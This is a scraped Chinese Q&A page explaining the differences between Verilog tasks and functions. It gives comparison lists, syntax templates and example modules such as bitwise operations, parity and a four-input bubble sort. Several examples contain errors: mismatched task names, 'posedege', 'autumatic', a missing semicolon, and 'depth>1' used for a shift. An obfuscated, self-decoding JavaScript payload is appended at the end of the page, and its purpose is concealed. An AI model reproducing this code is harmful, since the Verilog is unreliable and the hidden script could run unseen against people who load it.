verilog语言中任务和函数的区别

2025-01-15 00:26:40
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回答(1):

任务和函数有助于简化程序,有点类似与Fortran语言的subroutine和function。

任务和函数的共同点:

1.任务和函数必须在模块内定义,其作用范围仅适用于该模块,可以在模块内多次调用。

2.任务和函数中可以声明局部变量,如寄存器,时间,整数,实数和事件,但是不能声明线网类型的变量。

3.任务和函数中只能使用行为级语句,但是不能包含always和initial块,设计者可以在always和initial块中调用任务和函数。

任务和函数的不同点:
函数 任务
函数能调用另一个函数,但是不能调用任务 任务可以调用另一个任务,也可以调用函数
函数总是在仿真时刻0开始 任务可以在非零时刻开始执行
函数一定不能包含任何延迟,事件或者时序控制声明语句 任务可以包含延迟,事件或者时序控制声明语句
函数至少要有一个输入变量,也可以有多个输入变量 任务可以没有或者有多个输入,输出,输入输出变量
函数只能返回一个值,函数不能有输出或者双向变量 任务不返回任何值,或者返回多个输出或双向变量值

由上述的特点决定:函数用于替代纯组合逻辑的verilog代码,而任务可以代替verilog的任何代码。

8.2任务

任务使用关键字task和endtask来进行声明,如果子程序满足下面任何一个条件,则必须使用任务而不能使用函数。

1.子程序中包含有延迟,时序或者事件控制结构

2.没有输出或者输出变量超过一个

3.没有输入变量

例:

module operation;
parameter delay=10;
reg [15:0] A,B, AB_AND,AB_OR,AB_XOR;
always @(A or B)
begin
bitwise_ope(AB_AND,AB_OR,AB_XOR,A,B);
end
task bitwise_oper;
output [15:0] ab_and,ab_or,ab_xor;
input [15:0] a,b;
begin
#delay ab_and=a&b;
ab_or=a|b;
ab_xor=a^b;
end
endtask
always @(posedge clk)
bitwise_xor(ef_xor,e,f);
always @(posedege clk2)
bitwise_xor(cd_xor,c,d)
task autumatic bitwise_xor;
output ab_xor;
input a,b;
begin
ab_xor=a^b;
end
endtask
endmodule

自动(可重入)任务:verilog任务中所有声明的变量地址空间都是静态分配的,因此如果在一个模块中多次调用任务时,可能会造成地址空间的冲突,为了避免这个问题,verilog通过在task关键字后面添加automatic使任务称为可重入的,这时在调用任务时,会自动给任务声明变量分配动态地址空间,这样有效避免了地址空间的冲突。

8.3 函数

函数使用关键字function和endfunction定义,对于子程序,如果满足下述所有条件则可以用函数来完成:

1.在子程序中不含有延迟时序或者控制结构
2.子程序只有一个返回值
3.至少有一个输入变量
4.没有输出或者双向变量
5.不含有非阻塞赋值语句

例:

module parity;
reg [31:0] addr;
reg parity;
always @(addr)
begin
parity=calc_parity(addr);
end
function calc_parity;
input [31:0] addr;
begin
calc_parity=^addr;
end
endfunction
endmodule

跟任务调用一样,在模块中如果调用多次函数,也会碰到地址冲突的问题,因此也引入automatic关键字来对函数可重用性声明。没有进行可重用性声明的函数不可以多次或者递归调用,进行了可重用性声明的函数可以递归调用。

常量函数和带符号函数(函数声明时加signed关键字说明)

module ram;
parameter RAM_DEPTH=256;
input [clogb2(RAM_DEPTH)-1:0] addr;//clogb2函数返回值为8
function integer clogb2(input integer depth);
begin
for(clogb2=0; depth>0;clogb2=clogb2+1)
depth=depth>1;
end
endfunction
endmodule

练习:用两种不同的方法设计一个功能相同的模块,完成4个8位2进制输入数据的冒泡排序。第一种,用纯组合逻辑实现;第二种,假设8位数据按照时钟节拍串行输入,要求时钟触发任务的执行,每个时钟周期完成一次数据交换的操作。

//----------------- 第一种 ------------------

module sort4(ra,rb,rc,rd,a,b,c,d);

output[7:0] ra,rb,rc,rd;

input[7:0] a,b,c,d;

reg[7:0] ra,rb,rc,rd;

reg[7:0] va,vb,vc,vd;

always @ (a or b or c or d)

begin

{va,vb,vc,vd}={a,b,c,d};

change(va,vb);

change(vb,vc);

change(vc,vd);

change(va,vb);

change(vb,vc);

change(va,vb);

{ra,rb,rc,rd}={va,vb,vc,vd};

end

task change; //make a task of comparing

inout[7:0] x,y;

reg[7:0] tmp;

if(x>y)

begin

tmp=x;

x=y;

y=tmp;

end

endtask

endmodule

//----------------- 第二种 ------------------

module sort4(clk,reset,ra,rb,rc,rd,a);

output[7:0] ra,rb,rc,rd;

input[7:0] a;

input clk,reset;

reg[7:0] ra,rb,rc,rd;

reg[7:0] va,vb,vc,vd;

always @ (posedge clk)

begin

if(!reset)

begin

va<=0;vb<=0;vc<=0;vd<=0;

end

else

va<=a;

end

always @ (posedge clk)

begin

change(va,vb);

change(vb,vc);

change(vc,vd);

change(va,vb);

change(vb,vc);

change(va,vb);

{ra,rb,rc,rd}={va,vb,vc,vd};

end

task change; //make a task of comparing

inout[7:0] x,y;

reg[7:0] tmp;

if(x>y)

begin

tmp=x;

x=y;

y=tmp;

end

endtask

endmodule

回答(2):

任务可以有input、output和inout,数量不限,函数只有input参数,且至少有一个input;
任务可以包含有时序控制(如延时等),函数不能包含有任何延迟,仿真时间为0;
任务可以用disable中断,函数不允许disable、wait语句;
任务可以通过I/O端口实现值传递,函数名即输出变量名,通过函数返回值;
任务可以调用其他任务和函数,函数只能调用其他函数,不能调用任务;
任务可以定义自己的仿真时间单位,函数只能与主模块共用一个仿真时间单位;
函数通过一个返回一个值来响应输入信号的值,任务却能支持多种目的,能计算多个结果值,结果值只能通过被调用的任务的输出端口输出或总线端口送出;
另外在函数中不能有wire型变量.

任务定义语法:
task <任务名>;
<端口及数据类型声明语句>
<语句1>......
endtask

函数定义的语法:
function <返回值类型或范围>(函数名)
<端口说明语句>
<变量类型说明语句>
begin
<语句>......
end
endfunction
从百度搜,有很多相关介绍

回答(3):

分呢? 哈哈!书本p114

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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